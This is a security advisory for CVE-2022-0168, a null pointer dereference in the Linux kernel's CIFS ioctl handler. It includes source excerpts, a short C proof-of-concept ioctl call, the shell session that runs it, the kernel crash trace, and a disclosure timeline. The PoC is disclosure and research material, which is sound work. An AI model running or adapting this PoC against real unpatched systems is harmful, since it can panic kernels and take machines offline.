CVE: CVE-2022-0168

Tested Versions:

  • Linux kernels 5.4–5.12, 5.13-rc+HEAD

Description of the vulnerability

Common Internet File System (CIFS) is a network filesystem protocol used for providing shared access to files and printers between machines on the network. A CIFS client application can read, write, edit and even remove files on the remote server. Linux can use the ioctl system call on CIFS file for query information. In the function smb2_ioctl_query_info, it incorrectly verify the return from the memdup_user function [2]. qi.output_buffer_length is grabbing from copy_from_user [1] which is user control value. If qi.output_buffer_length is equal to zero, the memdup_user function returns 0x10, which is not a valid ptr but can pass the check in [3].

static int
smb2_ioctl_query_info(const unsigned int xid,
		      struct cifs_tcon *tcon,
		      struct cifs_sb_info *cifs_sb,
		      __le16 *path, int is_dir,
		      unsigned long p)
{
...

	if (copy_from_user(&qi, arg, sizeof(struct smb_query_info))) \\[1]
		goto e_fault;	
...
	buffer = memdup_user(arg + sizeof(struct smb_query_info),
			     qi.output_buffer_length); \\[2]
			
	if (IS_ERR(buffer)) { \\[3]
		kfree(vars);
		return PTR_ERR(buffer);
	}

This evil buffer is passed to function SMB2_set_info_init if qi.flags is equal to PASSTHRU_SET_INFO. There is an additional check in [4] whether the current process has CAP_SYS_ADMIN capability. Due to this check, a normal user without this capability can not trigger the null pointer dereference in function SMB2_set_info_init

	} else if (qi.flags == PASSTHRU_SET_INFO) {
		/* Can eventually relax perm check since server enforces too */
		if (!capable(CAP_SYS_ADMIN)) \\[4]
			rc = -EPERM;
		else  {
			rqst[1].rq_iov = &vars->si_iov[0];
			rqst[1].rq_nvec = 1;

			size[0] = 8;
			data[0] = buffer;

			rc = SMB2_set_info_init(tcon, server,
					&rqst[1],
					COMPOUND_FID, COMPOUND_FID,
					current->tgid,
					FILE_END_OF_FILE_INFORMATION,
					SMB2_O_INFO_FILE, 0, data, size);
		}

In the function SMB2_set_info_init, there is a straight memcpy in which *data is the previous evil buffer, and *size is 8. To simplify the code, we can transform it to memcpy(dst,0x10,8). A null pointer dereference will cause a kernel panic.

int
SMB2_set_info_init(struct cifs_tcon *tcon, struct TCP_Server_Info *server,
		   struct smb_rqst *rqst,
		   u64 persistent_fid, u64 volatile_fid, u32 pid,
		   u8 info_class, u8 info_type, u32 additional_info,
		   void **data, unsigned int *size)
{
	...

	memcpy(req->Buffer, *data, *size);

Proof of Concept

  • First let’s mount a cifs in test folder.
  • Then we compile the following code and run in the current folder.
#define PASSTHRU_SET_INFO				0x2
#define CIFS_QUERY_INFO					0xc018cf07
#define __packed                        __attribute__((__packed__))
typedef unsigned int __u32;

#include <fcntl.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <stdlib.h>

struct smb_query_info {
        __u32   info_type;
        __u32   file_info_class;
        __u32   additional_information;
        __u32   flags;
        __u32   input_buffer_length;
        __u32   output_buffer_length;
        /* char buffer[]; */
} __packed;
int main(){
	int fd = open("test",0); //mount smb on test folder
	struct smb_query_info p = {
			.output_buffer_length = 0,
			.flags = PASSTHRU_SET_INFO
	};
	ioctl(fd,CIFS_QUERY_INFO,&p);
}

Output

root@syzkaller:~# cat poc.c
#define PASSTHRU_SET_INFO                               0x2
#define CIFS_QUERY_INFO                                 0xc018cf07
#define __packed                        __attribute__((__packed__))
typedef unsigned int __u32;

#include <fcntl.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <stdlib.h>

struct smb_query_info {
        __u32   info_type;
        __u32   file_info_class;
        __u32   additional_information;
        __u32   flags;
        __u32   input_buffer_length;
        __u32   output_buffer_length;
        /* char buffer[]; */
} __packed;
int main(){
        int fd = open("test",0); //mount smb on test folder
        struct smb_query_info p = {
                        .output_buffer_length = 0,
                        .flags = PASSTHRU_SET_INFO
        };
        ioctl(fd,CIFS_QUERY_INFO,&p);
}
root@syzkaller:~# mkdir test
root@syzkaller:~# mount -t cifs -o user=Billy //192.168.31.177/Users test
Password for Billy@//192.168.31.177/Users:  ********
root@syzkaller:~# gcc poc.c
root@syzkaller:~# ./a.out
[ 4033.355934] RIP: 0033:0x7fea602b4017
[ 4033.355934] Code: 00 00 00 48 8b 05 81 7e 2b 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 51 7e 2b 00 f7 d8 64 898
[ 4033.355934] RSP: 002b:00007fff047e7bd8 EFLAGS: 00000206 ORIG_RAX: 0000000000000010
[ 4033.355934] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fea602b4017
[ 4033.355934] RDX: 00007fff047e7be0 RSI: 00000000c018cf07 RDI: 0000000000000003
[ 4033.355934] RBP: 00007fff047e7c00 R08: 000055b52b2007c0 R09: 00007fea60581ba0
[ 4033.355934] R10: 0000000000000541 R11: 0000000000000206 R12: 000055b52b2005c0
[ 4033.355934] R13: 00007fff047e7ce0 R14: 0000000000000000 R15: 0000000000000000
[ 4033.355934] Modules linked in:
[ 4033.355934] CR2: 0000000000000010
[ 4033.445481] ---[ end trace a5abc9fca5df8eb1 ]---
[ 4033.447784] RIP: 0010:__memcpy+0x12/0x20
[ 4033.449928] Code: 00 b8 01 00 00 00 85 d2 74 0a c7 05 54 d9 93 00 0f 00 00 00 c3 cc cc cc 0f 1f 44 00 00 48 89 f8 48 89 d1 48 c1 e9 03 83 e2 07 <f3> 48 a5 89 d1 f3 a4 c3 66 0f 1f 44 00 00 48 89 f8 48 89 d14
[ 4033.459598] RSP: 0018:ffffc9000017fca8 EFLAGS: 00010246
[ 4033.462323] RAX: ffff8880072d8060 RBX: ffff888005858828 RCX: 0000000000000001
[ 4033.465982] RDX: 0000000000000000 RSI: 0000000000000010 RDI: ffff8880072d8060
[ 4033.469241] RBP: ffff888005858958 R08: 0000000000000000 R09: 000000000000014d
[ 4033.472193] R10: ffff8880072d8000 R11: 0000000001320122 R12: ffffc9000017fdcc
[ 4033.475366] R13: ffffc9000017fde0 R14: 0000000000000014 R15: 0000000000000001
[ 4033.478734] FS:  00007fea6078f440(0000) GS:ffff88807dd00000(0000) knlGS:0000000000000000
[ 4033.482493] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 4033.485026] CR2: 0000000000000010 CR3: 0000000005942000 CR4: 00000000000006e0

Timeline:

  • 2021-12-28 Vendor disclosure
  • 2022-03-28 Vendor patched